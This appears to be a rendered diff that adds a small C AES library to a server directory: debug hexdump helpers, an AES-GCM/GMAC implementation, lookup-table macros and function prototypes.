|
{
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
if (level < aes_debug_level)
|
||||||
|
return;
|
||||||
|
|
||||||
|
aes_debug_print_timestamp();
|
||||||
|
printf("%s - hexdump(len=%lu):", title, (unsigned long) len);
|
||||||
|
if (buf == NULL) {
|
||||||
|
printf(" [NULL]");
|
||||||
|
} else if (show) {
|
||||||
|
for (i = 0; i < len; i++)
|
||||||
|
printf(" %02x", buf[i]);
|
||||||
|
} else {
|
||||||
|
printf(" [REDACTED]");
|
||||||
|
}
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump(int level, const char *title, const void *buf, size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump(level, title, buf, len, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump(level, title, buf, len, aes_debug_show_keys);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void _aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||||
|
size_t len, int show)
|
||||||
|
{
|
||||||
|
size_t i, llen;
|
||||||
|
const aes_uchar *pos = buf;
|
||||||
|
const size_t line_len = 16;
|
||||||
|
|
||||||
|
if (level < aes_debug_level)
|
||||||
|
return;
|
||||||
|
|
||||||
|
aes_debug_print_timestamp();
|
||||||
|
if (!show) {
|
||||||
|
printf("%s - hexdump_ascii(len=%lu): [REDACTED]\n",
|
||||||
|
title, (unsigned long) len);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (buf == NULL) {
|
||||||
|
printf("%s - hexdump_ascii(len=%lu): [NULL]\n",
|
||||||
|
title, (unsigned long) len);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len);
|
||||||
|
while (len) {
|
||||||
|
llen = len > line_len ? line_len : len;
|
||||||
|
printf(" ");
|
||||||
|
for (i = 0; i < llen; i++)
|
||||||
|
printf(" %02x", pos[i]);
|
||||||
|
for (i = llen; i < line_len; i++)
|
||||||
|
printf(" ");
|
||||||
|
printf(" ");
|
||||||
|
for (i = 0; i < llen; i++) {
|
||||||
|
if (isprint(pos[i]))
|
||||||
|
printf("%c", pos[i]);
|
||||||
|
else
|
||||||
|
printf("_");
|
||||||
|
}
|
||||||
|
for (i = llen; i < line_len; i++)
|
||||||
|
printf(" ");
|
||||||
|
printf("\n");
|
||||||
|
pos += llen;
|
||||||
|
len -= llen;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||||
|
size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump_ascii(level, title, buf, len, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||||
|
size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump_ascii(level, title, buf, len, aes_debug_show_keys);
|
||||||
|
}
|
60
server/aes-debug.h
Normal file
60
server/aes-debug.h
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
#ifndef AES_DEBUG_H
|
||||||
|
#define AES_DEBUG_H
|
||||||
|
|
||||||
|
/* gettimeofday */
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||||
|
|
||||||
|
struct timezone
|
||||||
|
{
|
||||||
|
int tz_minuteswest; /* minutes west of Greenwich */
|
||||||
|
int tz_dsttime; /* type of dst correction */
|
||||||
|
};
|
||||||
|
|
||||||
|
struct timeval {
|
||||||
|
int tv_sec;
|
||||||
|
int tv_usec;
|
||||||
|
};
|
||||||
|
|
||||||
|
extern int gettimeofday(struct timeval *tv, struct timezone *tz);
|
||||||
|
|
||||||
|
#else
|
||||||
|
#include <sys/time.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Debugging function - conditional printf and hex dump */
|
||||||
|
|
||||||
|
enum {
|
||||||
|
MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR
|
||||||
|
};
|
||||||
|
|
||||||
|
extern int aes_debug_level;
|
||||||
|
extern int aes_debug_show_keys;
|
||||||
|
extern int aes_debug_timestamp;
|
||||||
|
|
||||||
|
#ifndef AES_DEBUG
|
||||||
|
|
||||||
|
#define aes_debug_print_timestamp() do { } while (0)
|
||||||
|
#define aes_printf(args...) do { } while (0)
|
||||||
|
#define aes_hexdump(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_hexdump_buf(l,t,b) do { } while (0)
|
||||||
|
#define aes_hexdump_key(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_hexdump_buf_key(l,t,b) do { } while (0)
|
||||||
|
#define aes_hexdump_ascii(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_hexdump_ascii_key(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_dbg(args...) do { } while (0)
|
||||||
|
|
||||||
|
#else
|
||||||
|
void aes_debug_print_timestamp(void);
|
||||||
|
void aes_printf(int level, const char *fmt, ...) __attribute__ ((format (printf, (2), (3))));
|
||||||
|
void aes_hexdump(int level, const char *title, const void *buf, size_t len);
|
||||||
|
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len);
|
||||||
|
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||||
|
size_t len);
|
||||||
|
|
||||||
|
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||||
|
size_t len);
|
||||||
|
|
||||||
|
#endif /* AES_DEBUG_STDOUT */
|
||||||
|
|
||||||
|
#endif /* AES_DEBUG_H */
|
312
server/aes-gcm.c
Normal file
312
server/aes-gcm.c
Normal file
@ -0,0 +1,312 @@
|
|||||||
|
#include "aes.h"
|
||||||
|
|
||||||
|
static void inc32(aes_uchar *block)
|
||||||
|
{
|
||||||
|
aes_uint val;
|
||||||
|
val = AES_GET_BE32(block + AES_BLOCK_SIZE - 4);
|
||||||
|
val++;
|
||||||
|
AES_PUT_BE32(block + AES_BLOCK_SIZE - 4, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void xor_block(aes_uchar *dst, const aes_uchar *src)
|
||||||
|
{
|
||||||
|
aes_uint *d = (aes_uint *) dst;
|
||||||
|
aes_uint *s = (aes_uint *) src;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void shift_right_block(aes_uchar *v)
|
||||||
|
{
|
||||||
|
aes_uint val;
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v + 12);
|
||||||
|
val >>= 1;
|
||||||
|
if (v[11] & 0x01)
|
||||||
|
val |= 0x80000000;
|
||||||
|
AES_PUT_BE32(v + 12, val);
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v + 8);
|
||||||
|
val >>= 1;
|
||||||
|
if (v[7] & 0x01)
|
||||||
|
val |= 0x80000000;
|
||||||
|
AES_PUT_BE32(v + 8, val);
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v + 4);
|
||||||
|
val >>= 1;
|
||||||
|
if (v[3] & 0x01)
|
||||||
|
val |= 0x80000000;
|
||||||
|
AES_PUT_BE32(v + 4, val);
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v);
|
||||||
|
val >>= 1;
|
||||||
|
AES_PUT_BE32(v, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/* Multiplication in GF(2^128) */
|
||||||
|
static void gf_mult(const aes_uchar *x, const aes_uchar *y, aes_uchar *z)
|
||||||
|
{
|
||||||
|
aes_uchar v[16];
|
||||||
|
int i, j;
|
||||||
|
|
||||||
|
memset(z, 0, 16); /* Z_0 = 0^128 */
|
||||||
|
memcpy(v, y, 16); /* V_0 = Y */
|
||||||
|
|
||||||
|
for (i = 0; i < 16; i++) {
|
||||||
|
for (j = 0; j < 8; j++) {
|
||||||
|
if (x[i] & 1 << (7 - j)) {
|
||||||
|
/* Z_(i + 1) = Z_i XOR V_i */
|
||||||
|
xor_block(z, v);
|
||||||
|
} else {
|
||||||
|
/* Z_(i + 1) = Z_i */
|
||||||
|
}
|
||||||
|
|
||||||
|
if (v[15] & 0x01) {
|
||||||
|
/* V_(i + 1) = (V_i >> 1) XOR R */
|
||||||
|
shift_right_block(v);
|
||||||
|
/* R = 11100001 || 0^120 */
|
||||||
|
v[0] ^= 0xe1;
|
||||||
|
} else {
|
||||||
|
/* V_(i + 1) = V_i >> 1 */
|
||||||
|
shift_right_block(v);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void ghash_start(aes_uchar *y)
|
||||||
|
{
|
||||||
|
/* Y_0 = 0^128 */
|
||||||
|
memset(y, 0, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void ghash(const aes_uchar *h, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||||
|
{
|
||||||
|
size_t m, i;
|
||||||
|
const aes_uchar *xpos = x;
|
||||||
|
aes_uchar tmp[16];
|
||||||
|
|
||||||
|
m = xlen / 16;
|
||||||
|
|
||||||
|
for (i = 0; i < m; i++) {
|
||||||
|
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||||
|
xor_block(y, xpos);
|
||||||
|
xpos += 16;
|
||||||
|
|
||||||
|
/* dot operation:
|
||||||
|
* multiplication operation for binary Galois (finite) field of
|
||||||
|
* 2^128 elements */
|
||||||
|
gf_mult(y, h, tmp);
|
||||||
|
memcpy(y, tmp, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (x + xlen > xpos) {
|
||||||
|
/* Add zero padded last block */
|
||||||
|
size_t last = x + xlen - xpos;
|
||||||
|
memcpy(tmp, xpos, last);
|
||||||
|
memset(tmp + last, 0, sizeof(tmp) - last);
|
||||||
|
|
||||||
|
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||||
|
xor_block(y, tmp);
|
||||||
|
|
||||||
|
/* dot operation:
|
||||||
|
* multiplication operation for binary Galois (finite) field of
|
||||||
|
* 2^128 elements */
|
||||||
|
gf_mult(y, h, tmp);
|
||||||
|
memcpy(y, tmp, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Return Y_m */
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gctr(void *aes, const aes_uchar *icb, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||||
|
{
|
||||||
|
size_t i, n, last;
|
||||||
|
aes_uchar cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
|
||||||
|
const aes_uchar *xpos = x;
|
||||||
|
aes_uchar *ypos = y;
|
||||||
|
|
||||||
|
if (xlen == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
n = xlen / 16;
|
||||||
|
|
||||||
|
memcpy(cb, icb, AES_BLOCK_SIZE);
|
||||||
|
/* Full blocks */
|
||||||
|
for (i = 0; i < n; i++) {
|
||||||
|
aes_encrypt(aes, cb, ypos);
|
||||||
|
xor_block(ypos, xpos);
|
||||||
|
xpos += AES_BLOCK_SIZE;
|
||||||
|
ypos += AES_BLOCK_SIZE;
|
||||||
|
inc32(cb);
|
||||||
|
}
|
||||||
|
|
||||||
|
last = x + xlen - xpos;
|
||||||
|
if (last) {
|
||||||
|
/* Last, partial block */
|
||||||
|
aes_encrypt(aes, cb, tmp);
|
||||||
|
for (i = 0; i < last; i++)
|
||||||
|
*ypos++ = *xpos++ ^ tmp[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void * aes_gcm_init_hash_subkey(const aes_uchar *key, size_t key_len, aes_uchar *H)
|
||||||
|
{
|
||||||
|
void *aes;
|
||||||
|
|
||||||
|
aes = aes_encrypt_init(key, key_len);
|
||||||
|
if (aes == NULL)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
/* Generate hash subkey H = AES_K(0^128) */
|
||||||
|
memset(H, 0, AES_BLOCK_SIZE);
|
||||||
|
aes_encrypt(aes, H, H);
|
||||||
|
aes_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", H, AES_BLOCK_SIZE);
|
||||||
|
return aes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gcm_prepare_j0(const aes_uchar *iv, size_t iv_len, const aes_uchar *H, aes_uchar *J0)
|
||||||
|
{
|
||||||
|
aes_uchar len_buf[16];
|
||||||
|
|
||||||
|
if (iv_len == 12) {
|
||||||
|
/* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */
|
||||||
|
memcpy(J0, iv, iv_len);
|
||||||
|
memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len);
|
||||||
|
J0[AES_BLOCK_SIZE - 1] = 0x01;
|
||||||
|
} else {
|
||||||
|
/*
|
||||||
|
* s = 128 * ceil(len(IV)/128) - len(IV)
|
||||||
|
* J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64)
|
||||||
|
*/
|
||||||
|
ghash_start(J0);
|
||||||
|
ghash(H, iv, iv_len, J0);
|
||||||
|
AES_PUT_BE64(len_buf, 0);
|
||||||
|
AES_PUT_BE64(len_buf + 8, iv_len * 8);
|
||||||
|
ghash(H, len_buf, sizeof(len_buf), J0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gcm_gctr(void *aes, const aes_uchar *J0, const aes_uchar *in, size_t len,
|
||||||
|
aes_uchar *out)
|
||||||
|
{
|
||||||
|
aes_uchar J0inc[AES_BLOCK_SIZE];
|
||||||
|
|
||||||
|
if (len == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
memcpy(J0inc, J0, AES_BLOCK_SIZE);
|
||||||
|
inc32(J0inc);
|
||||||
|
aes_gctr(aes, J0inc, in, len, out);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gcm_ghash(const aes_uchar *H, const aes_uchar *aad, size_t aad_len,
|
||||||
|
const aes_uchar *crypt, size_t crypt_len, aes_uchar *S)
|
||||||
|
{
|
||||||
|
aes_uchar len_buf[16];
|
||||||
|
|
||||||
|
/*
|
||||||
|
* u = 128 * ceil[len(C)/128] - len(C)
|
||||||
|
* v = 128 * ceil[len(A)/128] - len(A)
|
||||||
|
* S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64)
|
||||||
|
* (i.e., zero padded to block size A || C and lengths of each in bits)
|
||||||
|
*/
|
||||||
|
ghash_start(S);
|
||||||
|
ghash(H, aad, aad_len, S);
|
||||||
|
ghash(H, crypt, crypt_len, S);
|
||||||
|
AES_PUT_BE64(len_buf, aad_len * 8);
|
||||||
|
AES_PUT_BE64(len_buf + 8, crypt_len * 8);
|
||||||
|
ghash(H, len_buf, sizeof(len_buf), S);
|
||||||
|
|
||||||
|
aes_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* aes_gcm_ae - GCM-AE_K(IV, P, A)
|
||||||
|
*/
|
||||||
|
int aes_gcm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *plain, size_t plain_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *tag)
|
||||||
|
{
|
||||||
|
aes_uchar H[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar J0[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar S[16];
|
||||||
|
void *aes;
|
||||||
|
|
||||||
|
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||||
|
if (aes == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||||
|
|
||||||
|
/* C = GCTR_K(inc_32(J_0), P) */
|
||||||
|
aes_gcm_gctr(aes, J0, plain, plain_len, crypt);
|
||||||
|
|
||||||
|
aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S);
|
||||||
|
|
||||||
|
/* T = MSB_t(GCTR_K(J_0, S)) */
|
||||||
|
aes_gctr(aes, J0, S, sizeof(S), tag);
|
||||||
|
|
||||||
|
/* Return (C, T) */
|
||||||
|
|
||||||
|
aes_encrypt_deinit(aes);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* aes_gcm_ad - GCM-AD_K(IV, C, A, T)
|
||||||
|
*/
|
||||||
|
int aes_gcm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *crypt, size_t crypt_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag, aes_uchar *plain)
|
||||||
|
{
|
||||||
|
aes_uchar H[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar J0[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar S[16], T[16];
|
||||||
|
void *aes;
|
||||||
|
|
||||||
|
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||||
|
if (aes == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||||
|
|
||||||
|
/* P = GCTR_K(inc_32(J_0), C) */
|
||||||
|
aes_gcm_gctr(aes, J0, crypt, crypt_len, plain);
|
||||||
|
|
||||||
|
aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S);
|
||||||
|
|
||||||
|
/* T' = MSB_t(GCTR_K(J_0, S)) */
|
||||||
|
aes_gctr(aes, J0, S, sizeof(S), T);
|
||||||
|
|
||||||
|
aes_encrypt_deinit(aes);
|
||||||
|
|
||||||
|
if (memcmp(tag, T, 16) != 0) {
|
||||||
|
aes_printf(MSG_EXCESSIVE, "GCM: Tag mismatch");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int aes_gmac(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *tag)
|
||||||
|
{
|
||||||
|
return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, tag);
|
||||||
|
}
|
1021
server/aes-internal.c
Normal file
1021
server/aes-internal.c
Normal file
File diff suppressed because it is too large
Load Diff
113
server/aes-internal.h
Normal file
113
server/aes-internal.h
Normal file
@ -0,0 +1,113 @@
|
|||||||
|
#ifndef AES_INTERNAL_H
|
||||||
|
#define AES_INTERNAL_H
|
||||||
|
|
||||||
|
extern const aes_uint Te0[256];
|
||||||
|
extern const aes_uint Te1[256];
|
||||||
|
extern const aes_uint Te2[256];
|
||||||
|
extern const aes_uint Te3[256];
|
||||||
|
extern const aes_uint Te4[256];
|
||||||
|
extern const aes_uint Td0[256];
|
||||||
|
extern const aes_uint Td1[256];
|
||||||
|
extern const aes_uint Td2[256];
|
||||||
|
extern const aes_uint Td3[256];
|
||||||
|
extern const aes_uint Td4[256];
|
||||||
|
extern const aes_uint rcon[10];
|
||||||
|
extern const aes_uchar Td4s[256];
|
||||||
|
extern const aes_uchar rcons[10];
|
||||||
|
|
||||||
|
#ifndef AES_SMALL_TABLES
|
||||||
|
|
||||||
|
#define RCON(i) rcon[(i)]
|
||||||
|
|
||||||
|
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||||
|
#define TE1(i) Te1[((i) >> 16) & 0xff]
|
||||||
|
#define TE2(i) Te2[((i) >> 8) & 0xff]
|
||||||
|
#define TE3(i) Te3[(i) & 0xff]
|
||||||
|
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||||
|
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||||
|
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
|
||||||
|
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
|
||||||
|
#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||||
|
#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||||
|
#define TE4(i) (Te4[(i)] & 0x000000ff)
|
||||||
|
|
||||||
|
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||||
|
#define TD1(i) Td1[((i) >> 16) & 0xff]
|
||||||
|
#define TD2(i) Td2[((i) >> 8) & 0xff]
|
||||||
|
#define TD3(i) Td3[(i) & 0xff]
|
||||||
|
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
|
||||||
|
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
|
||||||
|
#define TD0_(i) Td0[(i) & 0xff]
|
||||||
|
#define TD1_(i) Td1[(i) & 0xff]
|
||||||
|
#define TD2_(i) Td2[(i) & 0xff]
|
||||||
|
#define TD3_(i) Td3[(i) & 0xff]
|
||||||
|
|
||||||
|
#else /* AES_SMALL_TABLES */
|
||||||
|
|
||||||
|
#define RCON(i) (rcons[(i)] << 24)
|
||||||
|
|
||||||
|
static inline aes_uint rotr(aes_uint val, int bits)
|
||||||
|
{
|
||||||
|
return (val >> bits) | (val << (32 - bits));
|
||||||
|
}
|
||||||
|
|
||||||
|
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||||
|
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
|
||||||
|
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
|
||||||
|
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
|
||||||
|
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||||
|
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||||
|
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
|
||||||
|
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
|
||||||
|
#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||||
|
#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||||
|
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
|
||||||
|
|
||||||
|
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||||
|
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
|
||||||
|
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
|
||||||
|
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
|
||||||
|
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
|
||||||
|
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
|
||||||
|
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
|
||||||
|
#define TD44(i) (Td4s[(i) & 0xff])
|
||||||
|
#define TD0_(i) Td0[(i) & 0xff]
|
||||||
|
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
|
||||||
|
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
|
||||||
|
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
|
||||||
|
|
||||||
|
#endif /* AES_SMALL_TABLES */
|
||||||
|
|
||||||
|
#define GETU32(pt) (((aes_uint)(pt)[0] << 24) ^ \
|
||||||
|
((aes_uint)(pt)[1] << 16) ^ \
|
||||||
|
((aes_uint)(pt)[2] << 8) ^ \
|
||||||
|
((aes_uint)(pt)[3]))
|
||||||
|
#define PUTU32(ct, st) { \
|
||||||
|
(ct)[0] = (aes_uchar)((st) >> 24); \
|
||||||
|
(ct)[1] = (aes_uchar)((st) >> 16); \
|
||||||
|
(ct)[2] = (aes_uchar)((st) >> 8); \
|
||||||
|
(ct)[3] = (aes_uchar)(st); }
|
||||||
|
|
||||||
|
#define AES_PRIV_SIZE (4 * 4 * 15 + 4)
|
||||||
|
#define AES_PRIV_NR_POS (4 * 15)
|
||||||
|
|
||||||
|
void aes_rijndael_encrypt(const aes_uint rk[], int Nr, const aes_uchar pt[16], aes_uchar ct[16]);
|
||||||
|
void aes_rijndael_decrypt(const aes_uint rk[], int Nr, const aes_uchar ct[16], aes_uchar pt[16]);
|
||||||
|
int aes_rijndael_key_setup_dec(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||||
|
int aes_rijndael_key_setup_enc(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||||
|
|
||||||
|
#endif /* AES_I_H */
|
70
server/aes.h
Normal file
70
server/aes.h
Normal file
@ -0,0 +1,70 @@
|
|||||||
|
#ifndef AES_H
|
||||||
|
#define AES_H
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define AES_FULL_UNROLL
|
||||||
|
#define AES_SMALL_TABLES
|
||||||
|
#define AES_BLOCK_SIZE 16
|
||||||
|
|
||||||
|
#include "aes-common.h"
|
||||||
|
#include "aes-internal.h"
|
||||||
|
#include "aes-debug.h"
|
||||||
|
|
||||||
|
void * aes_encrypt_init(const aes_uchar *key, size_t len);
|
||||||
|
void aes_encrypt(void *ctx, const aes_uchar *plain, aes_uchar *crypt);
|
||||||
|
void aes_encrypt_deinit(void *ctx);
|
||||||
|
void * aes_decrypt_init(const aes_uchar *key, size_t len);
|
||||||
|
void aes_decrypt(void *ctx, const aes_uchar *crypt, aes_uchar *plain);
|
||||||
|
void aes_decrypt_deinit(void *ctx);
|
||||||
|
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_wrap(const aes_uchar *kek, int n, const aes_uchar *plain, aes_uchar *cipher);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_unwrap(const aes_uchar *kek, int n, const aes_uchar *cipher, aes_uchar *plain);
|
||||||
|
int AES_WARN_UNUSED_RESULT omac1_aes_128_vector(const aes_uchar *key, size_t num_elem,
|
||||||
|
const aes_uchar *addr[], const size_t *len,
|
||||||
|
aes_uchar *mac);
|
||||||
|
int AES_WARN_UNUSED_RESULT omac1_aes_128(const aes_uchar *key, const aes_uchar *data, size_t data_len,
|
||||||
|
aes_uchar *mac);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_encrypt_block(const aes_uchar *key, const aes_uchar *in, aes_uchar *out);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_ctr_encrypt(const aes_uchar *key, const aes_uchar *nonce,
|
||||||
|
aes_uchar *data, size_t data_len);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_eax_encrypt(const aes_uchar *key,
|
||||||
|
const aes_uchar *nonce, size_t nonce_len,
|
||||||
|
const aes_uchar *hdr, size_t hdr_len,
|
||||||
|
aes_uchar *data, size_t data_len, aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_eax_decrypt(const aes_uchar *key,
|
||||||
|
const aes_uchar *nonce, size_t nonce_len,
|
||||||
|
const aes_uchar *hdr, size_t hdr_len,
|
||||||
|
aes_uchar *data, size_t data_len, const aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_cbc_encrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||||
|
size_t data_len);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_cbc_decrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||||
|
size_t data_len);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_gcm_ae(const aes_uchar *key, size_t key_len,
|
||||||
|
const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *plain, size_t plain_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len,
|
||||||
|
aes_uchar *crypt, aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_gcm_ad(const aes_uchar *key, size_t key_len,
|
||||||
|
const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *crypt, size_t crypt_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag,
|
||||||
|
aes_uchar *plain);
|
||||||
|
